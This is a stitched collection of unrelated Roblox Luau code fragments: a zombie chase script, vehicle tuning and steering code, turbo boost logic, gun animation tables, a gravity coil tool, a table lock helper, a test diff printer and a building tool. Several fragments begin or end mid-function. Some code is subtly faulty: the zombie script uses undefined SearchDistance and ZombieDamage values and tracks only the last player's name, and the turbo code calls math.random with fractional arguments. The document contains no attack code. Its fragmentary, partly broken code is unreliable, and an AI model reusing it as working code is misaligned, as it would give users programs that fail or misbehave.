function getHumanoid(model) for _, v in pairs(model:GetChildren()) do if v:IsA'Humanoid' then return v end end end local zombie = script.Parent local human = getHumanoid(zombie) local hroot = zombie.HumanoidRootPart local zspeed = hroot.Velocity.magnitude local pfs = game:GetService("PathfindingService") function GetPlayerNames() local players = game:GetService('Players'):GetChildren() local name = nil for _, v in pairs(players) do if v:IsA'Player' then name = tostring(v.Name) end end return name end spawn(function() while wait() do print("THIS BALDI MODEL WAS MADE BY ANPHU04, DO NOT TRUST ANYbody THAT USES THIS!") end end) function GetPlayersbodyParts(t) local body = t if body then local figure = body.Parent for _, v in pairs(figure:GetChildren()) do if v:IsA'Part' then return v.Name end end else return "HumanoidRootPart" end end function Getbody(part) local chars = game.Workspace:GetChildren() local body = nil for _, v in pairs(chars) do if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then local charRoot = v:FindFirstChild'HumanoidRootPart' if (charRoot.Position - part).magnitude < SearchDistance then body = charRoot end end end return body end for _, zambieparts in pairs(zombie:GetChildren()) do if zambieparts:IsA'Part' then zambieparts.Touched:connect(function(p) if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage local enemy = p.Parent local enemyhuman = getHumanoid(enemy) enemyhuman:TakeDamage(ZombieDamage) end end) end end
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" Tune.TorqueVector = 0 --AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range. --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 80 -- 1 - 100% Tune.RDiffLockThres = 20 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
--[[Weight and CG]]
Tune.Weight = 1700 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 55 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible
-- Called to update all of the look-angles being tracked -- on the client, as well as our own client look-angles. -- This is called during every RunService Heartbeat.
function CharacterRealism:UpdateLookAngles(delta) -- Update our own look-angles with no latency local pitch, yaw = self:ComputeLookAngle() self:OnLookReceive(self.Player, pitch, yaw) -- Submit our look-angles if they have changed enough. local lastUpdate = self.LastUpdate or 0 local now = os.clock() if (now - lastUpdate) > .5 then pitch = Util:RoundNearestInterval(pitch, .05) yaw = Util:RoundNearestInterval(yaw, .05) if pitch ~= self.Pitch then self.Pitch = pitch self.Dirty = true end if yaw ~= self.Yaw then self.Yaw = yaw self.Dirty = true end if self.Dirty then self.Dirty = false self.LastUpdate = now self.SetLookAngles:FireServer(pitch, yaw) end end -- Update all of the character look-angles local camera = workspace.CurrentCamera local camPos = camera.CFrame.Position local player = self.Player local dropList for character, rotator in pairs(self.Rotators) do if not character.Parent then if not dropList then dropList = {} end dropList[character] = true continue end local owner = Players:GetPlayerFromCharacter(character) local dist = owner and owner:DistanceFromCharacter(camPos) or 0 if owner ~= player and dist > 30 then continue end local lastStep = rotator.LastStep or 0 local stepDelta = now - lastStep local humanoid = character:FindFirstChildOfClass("Humanoid") local rootPart = humanoid and humanoid.RootPart if not rootPart then continue end local pitchState = rotator.Pitch self:StepValue(pitchState, stepDelta) local yawState = rotator.Yaw self:StepValue(yawState, stepDelta) local motors = rotator.Motors rotator.LastStep = now if not motors then continue end for name, factors in pairs(self.RotationFactors) do local data = motors and motors[name] if not data then continue end local motor = data.Motor local origin = data.Origin if origin then local part0 = motor.Part0 local setPart0 = origin.Parent if part0 and part0 ~= setPart0 then local newOrigin = part0:FindFirstChild(origin.Name) if newOrigin and newOrigin:IsA("Attachment") then origin = newOrigin data.Origin = newOrigin end end origin = origin.CFrame elseif data.C0 then origin = data.C0 else continue end local pitch = pitchState.Current or 0 local yaw = yawState.Current or 0 if rotator.SnapFirstPerson and name == "Head" then if FpsCamera:IsInFirstPerson() then pitch = pitchState.Goal yaw = yawState.Goal end end local fPitch = pitch * factors.Pitch local fYaw = yaw * factors.Yaw -- HACK: Make the arms rotate with a tool. if name:sub(-4) == " Arm" or name:sub(-8) == "UpperArm" then local tool = character:FindFirstChildOfClass("Tool") if tool and not CollectionService:HasTag(tool, "NoArmRotation") then if name:sub(1, 5) == "Right" and rootPart:GetRootPart() ~= rootPart then fPitch = pitch * 1.3 fYaw = yaw * 1.3 else fYaw = yaw * .8 end end end local dirty = false if fPitch ~= pitchState.Value then pitchState.Value = fPitch dirty = true end if fYaw ~= yawState.Value then yawState.Value = fYaw dirty = true end if dirty then local rot = origin - origin.Position local cf = CFrame.Angles(0, fPitch, 0) * CFrame.Angles(fYaw, 0, 0) motor.C0 = origin * rot:Inverse() * cf * rot end end end -- If the dropList is declared, remove any characters that -- were indexed into it. This is done after iterating over -- the rotators to avoid problems with removing data from -- a table while iterating over said table. if dropList then for character in pairs(dropList) do local rotator = self.Rotators[character] local listener = rotator and rotator.Listener if listener then listener:Disconnect() end self.Rotators[character] = nil end end end
--function Typewrite(Dialouge) -- for i= 1, Dialouge:len() do -- textbox.Text = textbox.Text..Dialouge:sub(i,i) -- wait(.01) -- end -- -- You can change the speed of the typing and the delay(I made it adaptive to the length of the text) -- wait(Dialouge:len()/25) -- for i= 1, Dialouge:len() do -- textbox.Text = Dialouge:sub(1,Dialouge:len()-i) -- wait(.01) -- end --end
-- Given array of diffs, return concatenated string: -- * include common substrings -- * exclude change substrings which have opposite op -- * include change substrings which have argument op -- with inverse highlight only if there is a common substring
function getCommonAndChangedSubstrings(diffs: Array<Diff>, op: number, hasCommonDiff: boolean): string return Array.reduce(diffs, function(reduced: string, diff: Diff): string if diff[1] == DIFF_EQUAL then return reduced .. diff[2] elseif diff[1] ~= op then return reduced elseif hasCommonDiff then return reduced .. INVERTED_COLOR(diff[2]) else return reduced .. diff[2] end end, "") end function isLineDiffable(expected: any, received: any): boolean local expectedType = getType(expected) local receivedType = getType(received) if expectedType ~= receivedType then return false end if isPrimitive(expected) then -- Print generic line diff for strings only: -- * if neither string is empty -- * if either string has more than one line return ( typeof(expected) == "string" and typeof(received) == "string" and #expected ~= 0 and #received ~= 0 and not not (string.find(expected, MULTILINE_REGEXP) or string.find(received, MULTILINE_REGEXP)) ) end if expectedType == "DateTime" or expectedType == "function" then return false end if expectedType == "table" and typeof(expected.asymmetricMatch) == "function" then return false end if receivedType == "table" and typeof(received.asymmetricMatch) == "function" then return false end return true end local MAX_DIFF_STRING_LENGTH = 20000 function printDiffOrStringify( expected: any, received: any, expectedLabel: string, receivedLabel: string, expand: boolean -- CLI options: true if '--expand' or false if '--no-expand' ): string if typeof(expected) == "string" and typeof(received) == "string" and #expected ~= 0 and #received ~= 0 and #expected <= MAX_DIFF_STRING_LENGTH and #received <= MAX_DIFF_STRING_LENGTH and expected ~= received then if string.find(expected, MULTILINE_REGEXP) or string.find(received, MULTILINE_REGEXP) then return diffStringsUnified(expected, received, { aAnnotation = expectedLabel, bAnnotation = receivedLabel, changeLineTrailingSpaceColor = chalk.bgYellow, commonLineTrailingSpaceColor = chalk.bgYellow, emptyFirstOrLastLinePlaceholder = utf8.char(8629), expand = expand, includeChangeCounts = true, }) end local diffs = diffStringsRaw(expected, received, true) local hasCommonDiff = Array.some(diffs, function(diff) return diff[1] == DIFF_EQUAL end) local printLabel = getLabelPrinter(expectedLabel, receivedLabel) local expectedLine = printLabel(expectedLabel) .. printExpected(getCommonAndChangedSubstrings(diffs, DIFF_DELETE, hasCommonDiff)) local receivedLine = printLabel(receivedLabel) .. printReceived(getCommonAndChangedSubstrings(diffs, DIFF_INSERT, hasCommonDiff)) return expectedLine .. "\n" .. receivedLine end if isLineDiffable(expected, received) then local replaced = replaceMatchedToAsymmetricMatcher( deepCyclicCopyReplaceable(expected), deepCyclicCopyReplaceable(received), {}, {} ) local replacedExpected = replaced.replacedExpected local replacedReceived = replaced.replacedReceived local difference = diffDefault(replacedExpected, replacedReceived, { aAnnotation = expectedLabel, bAnnotation = receivedLabel, expand = expand, includeChangeCounts = true, }) if typeof(difference) == "string" and string.find(difference, "%- " .. expectedLabel) and string.find(difference, "%+ " .. receivedLabel) then return difference end end local printLabel = getLabelPrinter(expectedLabel, receivedLabel) local expectedLine = printLabel(expectedLabel) .. printExpected(expected) local receivedLine if stringify(expected) == stringify(received) then receivedLine = printLabel(receivedLabel) .. "serializes to the same string" else receivedLine = printLabel(receivedLabel) .. printReceived(received) end return expectedLine .. "\n" .. receivedLine end
-- events
script.SkipTier.OnInvoke = SkipTier Players.PlayerAdded:Connect(function(player) PLAYER_DATA:WaitForChild(player.Name) UpdateLevels(player) end)
-------- OMG HAX
r = game:service("RunService") Tool = script.Parent local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = .90 -- things float at > 1 local ghostEffect = nil local massCon1 = nil local massCon2 = nil function recursiveGetLift(node) local m = 0 local c = node:GetChildren() for i=1,#c do if c[i].className == "Part" then if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end m = m + recursiveGetLift(c[i]) end return m end function onMassChanged(child, char) print("Mass changed:" .. child.Name .. " " .. char.Name) if (ghostEffect ~= nil) then ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) end end function UpdateGhostState(isUnequipping) if isUnequipping == true then ghostEffect:Remove() ghostEffect = nil massCon1:disconnect() massCon2:disconnect() else if ghostEffect == nil then local char = Tool.Parent if char == nil then return end ghostEffect = Instance.new("BodyForce") ghostEffect.Name = "GravityCoilEffect" ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) ghostEffect.Parent = char.Head ghostChar = char massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end) massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end) end end end function onEquipped() Tool.Handle.CoilSound:Play() UpdateGhostState(false) end function onUnequipped() UpdateGhostState(true) end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped)
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; -- Reload Anim ReloadAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5) TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) objs[6]:WaitForChild('MagIn'):Play() TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.4) MagC:Destroy() objs[4].Transparency = 0 end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.4) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.3) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.2) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
-- create a proxy object for a table that prevents reading -- empty keys, writing keys, and inspecting the metatable
local tableLock do local function invalidRead(_, k) error(("reading nonexistent element %q from locked table"):format(tostring(k)), 2) end local function invalidWrite(_, k) error(("writing key %q to locked table"):format(tostring(k)), 2) end local RW_LOCK = { __index = invalidRead, __newindex = invalidWrite, } function tableLock(tbl) setmetatable(tbl, RW_LOCK) return setmetatable( {}, { __index = tbl, __newindex = invalidWrite, __metatable = "The metatable is locked", } ) end end
--[[Steering]]
function Steering() --Mouse Steer if _MSteer then local msWidth = math.max(1,mouse.ViewSizeX*_Tune.Peripherals.MSteerWidth/200) local mdZone = _Tune.Peripherals.MSteerDZone/100 local mST = ((mouse.X-mouse.ViewSizeX/2)/msWidth) if math.abs(mST)<=mdZone then _GSteerT = 0 else _GSteerT = (math.max(math.min((math.abs(mST)-mdZone),(1-mdZone)),0)/(1-mdZone))^_Tune.MSteerExp * (mST / math.abs(mST)) end end --Interpolate Steering if _GSteerC < _GSteerT then if _GSteerC<0 then _GSteerC = math.min(_GSteerT,_GSteerC+_Tune.ReturnSpeed) else _GSteerC = math.min(_GSteerT,_GSteerC+_Tune.SteerSpeed) end else if _GSteerC>0 then _GSteerC = math.max(_GSteerT,_GSteerC-_Tune.ReturnSpeed) else _GSteerC = math.max(_GSteerT,_GSteerC-_Tune.SteerSpeed) end end --Steer Decay Multiplier local sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) --Apply Steering for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="F" then v.Arm.Steer.CFrame=car.Wheels.F.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0) elseif v.Name=="FL" then if _GSteerC>= 0 then v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0) else v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0) end elseif v.Name=="FR" then if _GSteerC>= 0 then v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0) else v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0) end end end end
--notes --rpm = 11000 / 100000 = 0.1, rpm = 1000 / 100000 = 0.01 * 4 = 0.04
Values.Values.RPM.Changed:connect(function() Throttle = Values.Values.Throttle.Value CurrentGear = Values.Values.Gear.Value CurrentRPM = Values.Values.RPM.Value if Throttle == 1 then active = true if CPSI < PSI then if Turbos == "Single" then if TurboSize == "Small" then CPSI = CPSI + (CurrentRPM / 45000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 8 Values.Values.APSI.Value = CPSI end if TurboSize == "Medium" then CPSI = CPSI + (CurrentRPM / 100000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 10 Values.Values.APSI.Value = CPSI end if TurboSize == "Large" then CPSI = CPSI + (CurrentRPM / 125000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 12 Values.Values.APSI.Value = CPSI end elseif Turbos == "Twin" then if TurboSize == "Small" then CPSI = CPSI + (CurrentRPM / 75000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 8 Values.Values.APSI.Value = CPSI end if TurboSize == "Medium" then CPSI = CPSI + (CurrentRPM / 100000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 10 Values.Values.APSI.Value = CPSI end if TurboSize == "Large" then CPSI = CPSI + (CurrentRPM / 125000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 12 Values.Values.APSI.Value = CPSI end end end if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true then boom = false if car.Body.Exhaust.E1.S.IsPlaying then else local i = math.random(1,4) i = math.ceil(i) while i >= 1 do car.Body.Exhaust.E2.S:Play() car.Body.Exhaust.E1.Afterburn.Enabled = true car.Body.Exhaust.E2.Afterburn.Enabled = true wait(math.random(0.2,.3)) car.Body.Exhaust.E1.Afterburn.Enabled = false car.Body.Exhaust.E2.Afterburn.Enabled = false i= i - 1 end wait(0.5) boom = true end end end if Throttle <= 0.01 and active == true and Valve == "BOV" then active = false CPSI = 0 if TurboSize == "Large" then Values.Values.PSI.Value = CPSI * 12 elseif TurboSize == "Medium" then Values.Values.PSI.Value = CPSI * 10 elseif TurboSize == "Small" then Values.Values.PSI.Value = CPSI * 8 end Values.Values.APSI.Value = CPSI if BOV.IsPlaying then else BOV:Play() end end if Throttle <= 0.01 and Valve == "Bleed" then if CPSI > 0 then CPSI = CPSI - 0.1 wait(0.05) end if TurboSize == "Large" then Values.Values.PSI.Value = CPSI * 12 elseif TurboSize == "Medium" then Values.Values.PSI.Value = CPSI * 10 elseif TurboSize == "Small" then Values.Values.PSI.Value = CPSI * 8 end Values.Values.APSI.Value = CPSI if active == true then if BOV.IsPlaying then else BOV:Play() active = false end end end end ) if boom == false then wait(math.random(1)) boom = true end
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function SurfaceTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); EnableSurfaceSelection(); -- Set our current surface mode SetSurface(SurfaceTool.Surface); end; function SurfaceTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if SurfaceTool.UI then -- Reveal the UI SurfaceTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI SurfaceTool.UI = Core.Tool.Interfaces.BTSurfaceToolGUI:Clone(); SurfaceTool.UI.Parent = Core.UI; SurfaceTool.UI.Visible = true; -- Create the surface selection dropdown SurfaceDropdown = Core.Cheer(SurfaceTool.UI.SideOption.Dropdown).Start({ 'All', 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' }, 'All', SetSurface); -- Map type label names to actual type names local SurfaceTypes = { ['Studs'] = 'Studs', ['Inlets'] = 'Inlet', ['Smooth'] = 'Smooth', ['Weld'] = 'Weld', ['Glue'] = 'Glue', ['Universal'] = 'Universal', ['Hinge'] = 'Hinge', ['Motor'] = 'Motor', ['No Outline'] = 'SmoothNoOutlines' }; -- Create the surface type selection dropdown SurfaceTypeDropdown = Core.Cheer(SurfaceTool.UI.TypeOption.Dropdown).Start({ 'Studs', 'Inlets', 'Smooth', 'Weld', 'Glue', 'Universal', 'Hinge', 'Motor', 'No Outline' }, '', function (Option) SetSurfaceType(Enum.SurfaceType[SurfaceTypes[Option]]); end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not SurfaceTool.UI then return; end; -- Hide the UI SurfaceTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function GetSurfaceTypeDisplayName(SurfaceType) -- Returns a more friendly name for the given `SurfaceType` -- For stepping motors, add a space if SurfaceType == Enum.SurfaceType.SteppingMotor then return 'Stepping Motor'; -- For no outlines, simplify name elseif SurfaceType == Enum.SurfaceType.SmoothNoOutlines then return 'No Outline'; -- For other surface types, return their normal name else return SurfaceType.Name; end; end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not SurfaceTool.UI then return; end; -- Only show and identify current surface type if selection is not empty if #Selection.Parts == 0 then SurfaceTypeDropdown.SetOption(''); return; end; ------------------------------------ -- Update the surface type indicator ------------------------------------ -- Collect all different surface types in selection local SurfaceTypeVariations = {}; for _, Part in pairs(Selection.Parts) do -- Search for variations on all surfaces if all surfaces are selected if SurfaceTool.Surface == 'All' then table.insert(SurfaceTypeVariations, Part.TopSurface); table.insert(SurfaceTypeVariations, Part.BottomSurface); table.insert(SurfaceTypeVariations, Part.FrontSurface); table.insert(SurfaceTypeVariations, Part.BackSurface); table.insert(SurfaceTypeVariations, Part.LeftSurface); table.insert(SurfaceTypeVariations, Part.RightSurface); -- Search for variations on single selected surface else table.insert(SurfaceTypeVariations, Part[SurfaceTool.Surface .. 'Surface']); end; end; -- Identify common surface type in selection local CommonSurfaceType = Support.IdentifyCommonItem(SurfaceTypeVariations); -- Update the current surface type in the surface type dropdown SurfaceTypeDropdown.SetOption(CommonSurfaceType and GetSurfaceTypeDisplayName(CommonSurfaceType) or '*'); end; function SetSurface(SurfaceName) -- Changes the surface option to 